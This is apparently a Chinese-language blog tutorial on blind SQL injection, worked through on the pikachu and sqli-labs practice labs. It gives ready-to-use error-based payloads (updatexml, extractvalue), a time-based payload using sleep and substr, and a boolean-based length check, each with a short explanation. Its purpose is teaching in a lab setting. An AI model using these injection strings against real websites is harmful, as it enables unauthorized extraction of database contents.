环境
- phpstudy
- pikachu
- sqli-labs
为什么sql注入会出现无回显的情况
当我们进行sql注入时,会发生一些无回显的情况,这时需要我们用到sql盲注的一些方法来进行注入。分析无回显这种情况,其实是因为数据库的查询方法导致的,在我们有回显进行注入时,数据库多用的是select查询,当我们使用select在数据库中查询时,会显示出来数据内容,例如
但是,当我们进行增加、修改或删除数据时,数据库却不会给出这么多提示信息
增加
修改
删除
因此,在注入过程中页面并没有明显的提示信息,对于这种注入,我们叫做sql注入盲注
业务场景
盲注多用于注册用户、修改用户信息,注册用户可以跟数据库发生增加用户的数据交互(insert into),而修改用户信息跟数据库发生的数据交互为更新(update)
盲注的三种方法
报错注入
原理:利用函数让数据库报错,利用页面回显的信息,从而进行注入
pikachu靶场演示
注册用户,抓取数据包,此处的数据库操作是insert into操作
payload
# payload1
‘ or updatexml(1,concat(0x7e,database(),0x7e),0) or ‘
# payload2
‘ and extractvalue(1,concat(‘~‘,(select database()))) and ‘1‘=‘1
页面产生错误信息
接下来进行进行注入就可以了
延时注入
原理:使用if或者sleep函数,配合mid、substr、ascii、left等函数进行注入
常用的延时注入sql函数
# 如果条件成立,那么返回0,否则返回4
if(条件,0,5)
# sql语句延时执行x秒
sleep(x)
# 从b位置开始,截取a字符串的c位
mid(a,b,c)
# 从b位置开始,截取字符串a的c长度
substr(a,b,c)
# 从左侧截取a的前b位
left(a,b)
# 判断a的长度是否等于8
length(a)=8
# 判断x的ascii码是否等于97
ascii(x)=97
sqli-labs less-9靶场
payload
# 如果数据库的第一位是s,那么直接返回,否则延时5秒
‘ and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
# 按照这种方法,可以爆出数据库名,随后爆表爆字段即可
布尔注入
原理:布尔,顾名思义,true或者false
sqli-labs less-5
我们来到sqli-labs的第五关,查看源代码
分析代码,当我们的输入的sql语句正确的时候,页面会显示.....的内容,根据页面是否显示内容可判断我们猜测的数据库名、表、列等信息是否正确
# 判断数据库的长度是否为8
‘ and length(database())=8#
# 后面步骤不做介绍,采用页面是否回显,判断我们猜测的数据库名、表、列等信息是否正确,最后完成sql注入
三种方法对比
盲注中使用报错注入使用的比较多,延时注入容易产生误判并且耗时较长,而布尔注入耗时较长,因此首选报错注入